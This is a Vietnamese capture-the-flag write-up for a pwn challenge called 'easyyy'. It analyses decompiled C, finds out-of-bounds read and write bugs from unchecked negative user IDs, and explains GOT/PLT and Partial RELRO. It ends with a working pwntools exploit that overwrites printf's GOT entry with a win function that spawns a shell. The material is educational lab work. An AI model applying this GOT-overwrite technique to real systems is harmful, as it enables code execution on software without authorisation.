## easyyy Mấy nay tính làm bài này mà nhác quá, nên nay trước khi đi ngủ quyết định viết về bài này:c Một mã nguồn elf amd64 64bit Ta kiểm tra check security: ```c pwndbg> checksec File: /home/l3mnt2010/new/JHTpwner/kcsc2025/easyyyy/vuln Arch: amd64 RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No ``` Ta để ý các cơ chế như trên, để có khi còn dùng đến: Đi vào main: ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { __int64 v3; // [rsp+8h] [rbp-18h] BYREF int v4; // [rsp+14h] [rbp-Ch] BYREF __int64 v5; // [rsp+18h] [rbp-8h] init(argc, argv, envp); puts("Welcome to TTV!"); puts("First, create a user."); create(); puts("User created! ID: 0"); while ( 1 ) { menu(); printf("Input your choice:"); __isoc99_scanf("%d", &v4); if ( v4 == 4 ) { puts("Exiting... Goodbye!"); exit(0); } if ( v4 > 4 ) { LABEL_12: puts("Invalid choice. Try again."); } else { switch ( v4 ) { case 3: make_noise(); break; case 1: v5 = (int)input_player(); printf("User created! ID: %d\n", v5); break; case 2: printf("Input id to view: "); __isoc99_scanf("%llu", &v3); view(v3); break; default: goto LABEL_12; } } } } ``` Một chương trình đơn giản với menu option như sau: ```c int menu() { puts("Menu:"); puts("1. Create User"); puts("2. View Users"); puts("3. Make some noise"); return puts("4. Exit"); } ``` Dễ dàng thấy được các chức năng của nó là tạo người dùng, xem người dùng và make tí noise or exit Khi bắt đầu thì người sẽ phải tạo một người dùng: ```c char *create() { char s[80]; // [rsp+0h] [rbp-50h] BYREF memset(s, 0, sizeof(s)); read(0, s, 80uLL); return strcpy(users, s); } ``` Một mảng char max là 80 bytes, và đọc input max là 80 bytes sau đó copy s vào trong biến users. ![image](https://hackmd.io/_uploads/ryEK1F5Xbe.png) users là một biến toàn cục (global), kiểu mảng char, chưa khởi tạo (được đặt trong segment .bss) Sau đó menu được hiện thị với while True, người dùng được chọn option từ 1->4 nếu >4 thì exit Case 3 -> `make_noise`: ```c int make_noise() { int result; // eax __int64 ptr; // [rsp+0h] [rbp-20h] BYREF size_t v2; // [rsp+8h] [rbp-18h] FILE *stream; // [rsp+10h] [rbp-10h] int i; // [rsp+1Ch] [rbp-4h] result = puts("Make some noise!"); for ( i = 0; i <= 47; ++i ) { result = (unsigned __int8)users[80 * i]; if ( (_BYTE)result ) { ptr = 0LL; stream = fopen("/dev/urandom", "rb"); if ( !stream ) { perror("Failed to open /dev/urandom"); return -1; } v2 = fread(&ptr, 1uLL, 7uLL, stream); fclose(stream); *((_BYTE *)&ptr + v2) = 0; result = printf("User %s makes noise: %s\n", &users[80 * i], (const char *)&ptr); } } return result; } ``` Case 1 -> `input_player`: ```c __int64 input_player() { __int64 v1; // [rsp+8h] [rbp-8h] BYREF printf("Input user 's id:"); __isoc99_scanf("%llu", &v1); printf("Input user 's name:"); read(0, &users[80 * v1], 80uLL); return v1; } ``` Hàm input_player cho phép nhập id là số âm do không kiểm tra giá trị đầu vào. Giá trị này được dùng trực tiếp làm chỉ số cho mảng users, dẫn tới lỗ hổng OOB write, cho phép ghi đè các vùng nhớ nằm trước và sau .bss. Case 2 -> sẽ yêu cầu nhập id format %llu và gọi view: ```c __int64 __fastcall view(__int64 a1) { if ( users[80 * a1] ) { printf("User ID: %lu, Name: %s\n", a1, &users[80 * a1]); return 0LL; } else { puts("User does not exist."); return 0xFFFFFFFFLL; } } ``` Nếu giá trị của users tại index đó khác null -> hiển thị nó, còn không thì in ra không tồn tại. Vẫn như trên chương trình cho nhập %llu nhưng lại truyền vào view là kiểu `__int64` do đó ở đây ta lại có bug oob read tùy ý trước và sau users. Quay trở lại với checksec ta đề cập ở đầu tiên thì với những dạng kiểu này ta sẽ sử dụng oob để leak + write, do PIE tắt -> cho nên base của elf không random -> không cần dùng OOB leak, và một điểm đặc biệt là `RELRO: Partial RELRO` (got vẫn có thể ghi đè) -> ta sẽ overwrite got bằng OOB write hàm printf thành win để lấy shell Điểm khác biệt của RELRO ```c Partial RELRO: - Chương trình không resolve hết hàm khi load. - Khi một hàm được gọi lần đầu, loader ghi địa chỉ thật của hàm vào .got.plt. - Vì còn phải ghi nên .got.plt được để ở trạng thái ghi được (RW). - Kẻ tấn công có thể ghi đè GOT. Full RELRO: - Loader resolve toàn bộ hàm ngay khi chương trình được load. - Địa chỉ thật của các hàm được ghi sẵn vào GOT. - Sau đó loader đặt GOT thành chỉ-đọc (read-only). - Từ lúc chạy trở đi không còn ghi được GOT, nên không thể overwrite. ``` Và trong binary có một hàm win không nằm trong flow của chương trình, ta sẽ dùng tới ở dưới: ![image](https://hackmd.io/_uploads/Hk1cSWjXbg.png) ```c low address ══════════════════════════════════════════════════════════ ║ ELF HEADER ║ ══════════════════════════════════════════════════════════ ║ .text ║ ║ ║ ║ main() ║ ║ win() → system("/bin/sh") ║ ║ printf@plt ║ ║ system@plt ║ ║ ║ ══════════════════════════════════════════════════════ ║ .rodata ║ ║ ║ ║ "Welcome to TTV!" ║ ║ "User created! ID: %d\n" ║ ║ ║ ══════════════════════════════════════════════════════ ║ .data ║ ║ ║ ║ (global variables đã khởi tạo) ║ ║ ║ ══════════════════════════════════════════════════════ ║ .bss ║ ║ ║ ║ (global variables CHƯA khởi tạo) ║ ║ ║ ══════════════════════════════════════════════════════ ║ .got ║ ║ ║ ║ Global Offset Table ║ ║ ║ ══════════════════════════════════════════════════════ high address ``` Ta có thể quan sát hình minh họa ở trên để hiểu rõ cơ chế hơn vì users nằm ở .bss cho nên ta phải ghi vào phía trước nó là .got: ![image](https://hackmd.io/_uploads/SJLohPiX-l.png) - GOT (Global Offset table): Bảng lưu địa chỉ thực của các hàm nằm trong libc, nó là một bảng chứa các con trỏ (addresses) tới: 1. các hàm trong thư viện động 2. hoặc các biến toàn cục được liên kết động GOT được dynamic linker cập nhật tại runtime. Sau khi một symbol (ví dụ printf) được resolve, địa chỉ thật của nó trong libc sẽ được ghi vào GOT, để các lần gọi sau có thể truy cập trực tiếp mà không cần resolve lại. --- - PLT (Procedure Linkage Table): Mã trung gian để gọi các hàm được chứa trong bảng GOT, là một tập các đoạn mã (code stubs) trong chương trình ELF, được dùng để chuyển tiếp (dispatch) các lời gọi hàm tới các hàm nằm trong thư viện động (shared libraries), như glibc. PLT không trực tiếp resolve địa chỉ hàm, mà: 1. lần gọi đầu tiên: chuyển quyền resolve cho dynamic linker 2. các lần sau: nhảy trực tiếp tới địa chỉ hàm đã được resolve PLT cho phép chương trình gọi các hàm từ thư viện động mà không cần biết địa chỉ thật của chúng tại thời điểm compile. --- ```c PLT = code trung gian để gọi hàm GOT = bảng con trỏ chứa địa chỉ hàm thật Resolve = dynamic linker ghi libc addr vào GOT ``` Ta có thể xem hình minh họa sau để hiểu cơ chế resolve của nó: ```c ┌──────────────┐ │ Program C │ │ puts("hi") │ └──────┬───────┘ │ call puts@plt ▼ ┌────────────────────────┐ │ puts@PLT │ (code trong binary) │────────────────────────│ │ jmp [puts@GOT] │ └──────────┬─────────────┘ │ ┌──────────────────┴──────────────────┐ │ │ │ │ CHƯA RESOLVE (lần gọi đầu) ĐÃ RESOLVE (lần sau) │ │ ▼ ▼ ┌────────────────────────┐ ┌────────────────────────┐ │ puts@GOT │ │ puts@GOT │ │────────────────────────│ │────────────────────────│ │ puts@plt + 6 │ │ libc_puts_addr │ │ (trỏ ngược về PLT) │ │ (địa chỉ thật libc) │ └──────────┬─────────────┘ └──────────┬─────────────┘ │ │ │ quay lại PLT+6 │ ▼ ▼ ┌────────────────────────┐ ┌────────────────────────┐ │ push reloc_index │ │ libc puts() │ │ jmp plt0 │ │ (chạy thẳng) │ └──────────┬─────────────┘ └────────────────────────┘ │ ▼ ┌────────────────────────┐ │ plt0 │ │────────────────────────│ │ push link_map │ │ jmp _dl_runtime_resolve│ └──────────┬─────────────┘ │ ▼ ┌────────────────────────┐ │ Dynamic Linker │ │────────────────────────│ │ tìm puts trong libc │ │ GHI libc_puts vào GOT │ └──────────┬─────────────┘ │ ▼ ┌────────────────────────┐ │ libc puts() │ └────────────────────────┘ ``` Ok, giờ coi như là phần lý thuyết đã xong -> về bản chất ta có thể overwrite bất kì hàm nào trong bảng GOT thành hàm win: ![image](https://hackmd.io/_uploads/BkaMAbgEbl.png) Tuy nhiên nếu mà overwrite system thành win: ```c int win() { return system("/bin/sh"); } ``` Thì win lại gọi lại system -> lúc này nó sẽ bị sai hướng ta là thực thi /bin/sh vì nó lại gọi lại win nhưng với đối số sai -> vẫn không gọi system. Do đó ngoài system ra thì ra có thể overwrite những hàm khác thành win PLT system: ![image](https://hackmd.io/_uploads/HJ2TSEeEbx.png) GOT table: ![image](https://hackmd.io/_uploads/BkuML4xEWl.png) system_plt = 0x401154 system_got = 0x404040 Ta lấy plt 401154 để bỏ qua 4 byte của endbr64 không ảnh hưởng gì đến flow -> nó jmp vào `bnd jmp cs:off_404040` luôn user_address = 0x00000000004040E0 win_address = 0x00000000004012B6 prinf_got = 0x404048 ở đây ta sẽ tính toán: ![image](https://hackmd.io/_uploads/HJVhtsgNbg.png) Ta thấy users là một mảng char -> ta sẽ tính offset từ users đến printf: ![image](https://hackmd.io/_uploads/H1WPpilVbe.png) có thể thấy offset là 152(10), tại sao lại chia cho 80: ```c __int64 input_player() { __int64 v1; // [rsp+8h] [rbp-8h] BYREF printf("Input user 's id:"); __isoc99_scanf("%llu", &v1); printf("Input user 's name:"); read(0, &users[80 * v1], 80uLL); return v1; } ``` Vì id(tức biến v1): đọc vào số nguyên ta có thể nhập số âm để khi lùi(ghi lên địa chỉ cao hơn) như ta nói ở trên và nó chỉ chấp nhận số nguyên sau rồi nhân với 80 nên ở đây ta thấy với v1 = -2 thì thỏa mãn điều kiện ghi qua địa chỉ got của printf -> ở đây ta tính ra địa chỉ sẽ được ghi đến ghi này là `0x404040` trùng hợp của system got luôn. -> Do như giải thích ở trên nếu ta ghi vào got system thì phải ghi giá trị của nó đúng như ban đầu để khi win gọi system sẽ không bị lỗi (ta sẽ ghi địa chỉ của lệnh system_plt vào để jump như trêm) -> sau đó 8 bytes sau tiếp theo sẽ là địa chỉ của hàm win(ghi đè printf_got) -> sau đó mấy giá trị ở sau thì tùy ý. POC: ```python #!/home/l3mnt2010/new/env/bin/python3 from pwn import * import struct import os import sys import subprocess exe = ELF("./vuln", checksec=False) # context.log_level = 'debug' context.binary = exe context.arch = 'amd64' context.bits = 64 # context.arch = 'i386' # context.bits = 32 # if not os.environ.get('TMUX'): # tmux_conf = os.path.expanduser('~/.tmux.conf') # # with open(tmux_conf, 'a+') as f: # # f.seek(0) # # if 'set -g mouse on' not in f.read(): # # f.write('set -g mouse on') # os.execvp('tmux', ['tmux', 'new-session', sys.executable, os.path.abspath(__file__)] + sys.argv[1:]) # context.terminal = ['tmux', 'splitw', '-h', '-b', '-p', '70'] context.terminal = ['tmux', 'new-window'] info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x00000000004013a3 c ''') sleep(1) # p = remote('67.223.119.69',5000) p = process([exe.path]) user_address = 0x4040E0 win_address = 0x4012B6 system_plt = 0x401154 system_got = 0x404040 # index = (system_got - user_address) // 80 GDB() sla(b"create a user.",b"tnlam") sla(b"Input your choice:",b"1") sla(b"id:",str(-2).encode()) payload = p64(system_plt) payload += p64(win_address) sla(b"name:",payload) p.interactive() ```